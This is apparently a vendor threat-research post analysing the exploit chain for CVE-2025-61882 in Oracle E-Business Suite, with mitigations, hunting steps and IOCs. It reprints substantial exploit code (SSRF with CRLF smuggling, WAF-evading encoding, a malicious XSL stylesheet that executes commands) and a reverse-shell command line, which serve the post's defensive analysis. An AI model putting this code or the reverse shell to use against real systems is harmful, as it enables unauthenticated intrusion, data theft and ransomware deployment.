<img height="1" width="1" style="display:none" src="https://www.facebook.com/tr?id=363521274148941&amp;ev=PageView&amp;noscript=1">

Summary/Title Text

Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco.

Summary

The Howler Cell RE team investigated the Oracle E-Business Suite (EBS) exploit components related to CVE-2025-61882, a critical unauthenticated remote code execution (RCE) vulnerability disclosed by Oracle on October 4, 2025, and actively exploited in the wild by the Cl0p ransomware group since at least August 2025.

This zero-day flaw in EBS versions 12.2.3–12.2.14 enables attackers to chain server-side request forgery (SSRF) in the UiServlet, CRLF request smuggling, and malicious XSL processing in BI Publisher to execute arbitrary OS commands, facilitating extortion campaigns targeting enterprise resources.

Our analysis of proof-of-concept scripts (exp.py and server.py) reveals a sophisticated, remote attack vector requiring no authentication, with mass scanning of exposed instances leading to data exfiltration and ransomware deployment. Immediate patching and enhanced monitoring are critical to mitigate risks.

Vulnerability Key Components

  • Primary vectors include /OA_HTML/configurator/UiServlet for SSRF to internal port 7201 (Configuration Manager), followed by smuggling to /OA_HTML/help/../ieshostedsurvey.xsl or .jsp for XSL-based RCE
  • Retrieve CSRF token via /runforms.jsp and /JavaScriptServlet
  • Craft HTML HTML-encoded CRLF payload and inject
  • Exp.py coordinates the exploit chain, and server.py implements an evil server component for unauthenticated remote code execution

Mitigation

  • Install the October 2023 Critical Patch Update as a prerequisite
  • Install the Oracle release security patch for CVE-2025-61882 for affected versions (12.2.3–12.2.14)
  • Verification of post-patch and make sure the patch for CVE-2025-61882 is patched successfully
  • Restrict the public exposure of the below modules,
    • /OA_HTML/configurator/UiServlet
    • /OA_HTML/runforms.jsp
    • /OA_HTML/JavaScriptServlet
  • Deny outbound connections from EBS servers to non-trusted IPs to prevent SSRF attack
  • Investigate by collecting the full events, headers, and bodies for requests to:
    • /OA_HTML/runforms.jsp
    • /OA_HTML/JavaScriptServlet
    • /OA_HTML/configurator/UiServlet
  • Incident response and backup/recovery readiness

Technical Analysis

Exp.py

The function get_csrf_token(target) is designed to retrieve a CSRF token from an Oracle Applications web interface, likely part of Oracle E-Business Suite (EBS). This function interacts with specific Oracle Applications endpoints to fetch the token, handling redirects and custom headers along the way.

The initial request shown in Table 1 will trigger authentication checks or session and initialize the redirecting to a login or an internal host.

Table 1 Initial request to fetch valid server

req = sess.get(target + "/OA_HTML/runforms.jsp", headers=header, allow_redirects=False)

The status code of 302 will be checked to verify the redirect and ensure to find the hosted Oracle Application web interface as shown in the Table 2.

Table 2 Code snippet to verify http requests

if req.status_code == 302:

           location = req.headers['Location']

           location_url = urllib.parse.urlparse(location)

           if location_url.hostname != internal_host:

               print(f'[*] reset internal_host: {location_url.hostname}')

Once the internal host or the hosted application is retrieved, with the help of the session, it will generate the CSFR token as shown in Table 3, by requesting a POST request to /OA_HTML/JavaScriptServlet and extract, validate the token further.

Table 3 Code to generate csrk token

 tmp_header = header

      tmp_header["CSRF-XHR"] = "YES"

      tmp_header["FETCH-CSRF-TOKEN"] = "1"

   req = sess.post(target + "/OA_HTML/JavaScriptServlet", headers=tmp_header, )

The function generate_ssrf_crlf_payload shown in Table 4, is to process an input to prepare it for Server-Side Request Forgery (SSRF) attack combined with CRLF (Carriage Return Line Feed) injection. This function prepares the payload as input and normalizes for HTTP compatibility and encodes it as HTML decimal entities by combining the CRLF injection character \r\n

Table 4 SSRF attack combine with CRLF injection

if payload.startswith("POST "):

           payload = payload[5:]

      elif payload.startswith("GET "):

           payload = payload = payload[4:]

      payload = payload.replace("\n", "\r\n")

The code snippet shown in Table 5, encodes the entire payload to appear as benign HTML when viewed in a browser or logged, evading WAFs or input sanitizers that strip raw HTTP but not HTML.

Table 5 Encoding the payload as HTML component

l = list(payload)

      html_payload = ''.join(['&#' + str(ord(i)) + ";" for i in l])

The function ssrf(target, payload) is an exploitation routine designed to trigger a SSRF vulnerability in Oracle E-Business Suite (EBS) by constructing a malicious XML payload, specifically targeting the UiServlet in the configurator module via POST and logs the success message.

The target is a base URL of the Oracle Application web interface and payload is a pre-crafted output from generate_ssrf_crlf_payload function, which is shown in Table 6.

Table 6 Exploitation routine to trigger SSRF vulnerability

def ssrf(target, payload):

      ssrf_xml = f'''<?xml version="1.0" encoding="UTF-8"?>

<initialize>

      <param name="init_was_saved">test</param>

      <param name="return_url">http://{internal_host}:7201{payload}</param>

 

      <param name="ui_def_id">0</param>

      <param name="config_effective_usage_id">0</param>

      <param name="ui_type">Applet</param>

</initialize>'''

      print('[*] send payload')

      req = sess.post(target + "/OA_HTML/configurator/UiServlet", headers=header,

                   data={

                           "redirectFromJsp": "1",

                           "getUiType": ssrf_xml

                   })

      print(f'[*] Exploitation successful, check configuration server for any access')

The function exploit(target, evil_server) shown in Table 7 coordinates the full exploitation chain against Oracle E-Business Suite (EBS) by leveraging SSRF combined with CRLF injection to achieve unauthenticated RCE. The exploit crafts a smuggled HTTP request that, when fetched via SSRF, hits the attacker's server and allows RCE.

Table 7 Full exploitation chain

rce_payload = f'''POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2

Host: {evil_server}

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Connection: keep-alive

Cookie: {cookie_str}

Server.py

The server.py implements a ‘evil server’ component to exploit unauthenticated remote code execution against Oracle E-Business Suite.

When the SSRF request received from the exp.py, the route handler will handle such requests and responds respectively for GET and POST request, as shown in Table 8.

Table 8 Route handler for GET and POST request

@routes.get('/OA_HTML/help/../ieshostedsurvey.xsl')

async def config(request):

      global config_payload

      return web.Response(text=config_payload)

@routes.post('/OA_HTML/help/../ibeCRgpIndividualUser.jsp')

async def config(request):

      global config_payload

      return web.Response(text=config_payload)

Table 9 shows the main execution block exactly checks for three command line arguments, port number, target OS identifier, shell initializer ['sh', '-c'] for Linux and ['cmd', '/c'] for windows. 

Table 9 Execution block with command arguments

port = int(sys.argv[1])

target_system = sys.argv[2]

command = sys.argv[3]

 The example exploitation command shown in Table 10.

Table 10 Sample exploitation command

print('python3 server.py 80 linux \'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1\'')

print('python3 server.py 80 windows \'calc\'')

 It generates multi lined JavaScript payload that uses Java reflection to load java.lang.String, create three array for the exploitation command that we receive from the main block and executes via Runtime.getRuntime().exec(cmds), the respective code snippet shown in Table 11.

Table 11 JS payload generation

js_payload = f"""

      var stringc = java.lang.Class.forName('java.lang.String');

      var cmds =     java.lang.reflect.Array.newInstance(stringc,3);

      java.lang.reflect.Array.set(cmds,0,'{shell_exe[0]}');

      java.lang.reflect.Array.set(cmds,1,'{shell_exe[1]}');

      java.lang.reflect.Array.set(cmds,2,'{command}');

      java.lang.Runtime.getRuntime().exec(cmds);""

 Table 12 shows the payload then base64 encoded for safe embedding in XSL stylesheet, the config_payload variable then creates a malicious XSL stylesheet with the JS encoded payload embedded in it.

Table 12 Preparing a XSL stylesheet payload

config_payload = f'''<xsl:stylesheet version="1.0"

                       xmlns:xsl="http://www.w3.org/1999/XSL/Transform"                     xmlns:b64="http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoder"                     xmlns:jsm="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManager"                       xmlns:eng="http://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngine"                       xmlns:str="http://www.oracle.com/XSL/Transform/java/java.lang.String">

           <xsl:template match="/">

           <xsl:variable name="bs" select="b64:decodeBuffer(b64:new(),'{js_payload_base64}')"/>

           <xsl:variable name="js" select="str:new($bs)"/>

           <xsl:variable name="m" select="jsm:new()"/>

           <xsl:variable name="e" select="jsm:getEngineByName($m, 'js')"/>

           <xsl:variable name="code" select="eng:eval($e, $js)"/>

           <xsl:value-of select="$code"/>

           </xsl:template>

      </xsl:stylesheet>'''

Placement of Exploit and Execution Flow

In a real-world attack exploiting CVE-2025-61882, threat actors like the Cl0p ransomware group deploy these scripts across their controlled infrastructure to target vulnerable EBS instances.

  • The main exploit script exp.py runs on local attackers machine, likely from VPS with a scripted automation tool to scan and exploit across internet or targeted segments. The usage of VMs in the VPS servers like AWS, DigitalOcean often a throwaway VMs for tracing the covers.
  • The evil_server component server.py is hosted in an attacker controlled remote server, additional interests on mimicking the domain of target server
  • No installation on the victim is required, the exploit is fully remote, pre-auth, and relies on the victim's unpatched EBS (versions 12.2.3–12.2.14) processing the injected payloads.

The server.py which is an ‘evil_server’ listens for incoming request to process the malicious XSL payload for RCE, which triggers command execution on the victim's side.

python3 server.py 80 linux 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1'

  • 80 - Port to listen on.
  • linux/windows - Target OS for command adaptation.
  • 'bash -i >& /dev/tcp/8.8.8.8/4444 0>&1' ' - Command to execute via RCE.

The exploitation script exp.py fetches CSRF token, force the SSRF attack combined with CRLF injection to request a malicious XSL stylesheet from evil_server server.py and executes arbitrary commands. python3 exp.py http://apps.example.com:8000/ 8.8.8.8:80

  • Target_URL - http://apps.example.com:8000/ (as per the exploit script, demo)
  • Evil_server - 8.8.8.8:80 (as per the exploit script, demo)


Threat Hunting Steps for CVE-2025-61882 (Oracle EBS RCE)

  • Scope the assets - Identify all Oracle EBS 12.2.3–12.2.14 instances
  • Investigate by collecting the full requests, headers, and bodies for requests to:
      • /OA_HTML/runforms.jsp
      • /OA_HTML/JavaScriptServlet
      • /OA_HTML/configurator/UiServlet
  • Hunt for GET|POST http requests to /OA_HTML/runforms.jsp (CSRF fetch), /OA_HTML/JavaScriptServlet (token retrieval), or /OA_HTML/help/../ieshostedsurvey.xsl and ibeCRgpIndividualUser.jsp (XSL fetch).
  • Fetch the outbound network connections from the EBS servers and investigate for potential malicious IPs/Domains
  • Hunt for child processes like sh, bash, cmd.exe spawned by Java, to look for suspicious reverse shell.

Appendix

IOCs

IPs

200.107.207[.]26

185.181.60[.]11

Domains

Pubstorm[.]com

Pubstorm[.]net

File Hashes (SHA-256)

Exp.py : aa0d3859d6633b62bccfb69017d33a8979a3be1f3f0a5a4bf6960d6c73d41121

Server.py : 6fd538e4a8e3493dda6f9fcdc96e814bdd14f3e2ef8aa46f0143bff34b882c1b

MITRE

Initial access

  • T1190 - Exploit Public-Facing Application
  • External Remote Services when exploited directly by web facing EBS

Execution

  • T1203 - Exploitation for Client Execution
  • T1059 Command and Scripting Interpreter

Persistence

  • T1547 Boot or Logon Autostart
  • Execution if attacker installs persistence

Privilege escalation

  • T1068 Exploitation for Privilege Escalation

Defense evasion

  • T1070 Indicator Removal on host

Credential access

  • T1003 OS Credential Dumping

Discovery

  • T1083 File and Directory Discovery

Command and control

  • T1071 Application Layer Protocol

Back to Top

Be Ready

Stay informed with Howler Cell

Receive the latest Howler Cell news and research directly to your inbox. 

Optional featured resource text

Howler Cell has been tracking and investigating the new variant of MedusaLocker. MedusaLocker is a well-known ransomware family active since late 2019

Ready to close your security gaps?

To stay ahead of today’s relentless threatscape, you’ve got to close the gap between security strategy and execution. Cyderes helps you act fast, stay focused, and move your business forward.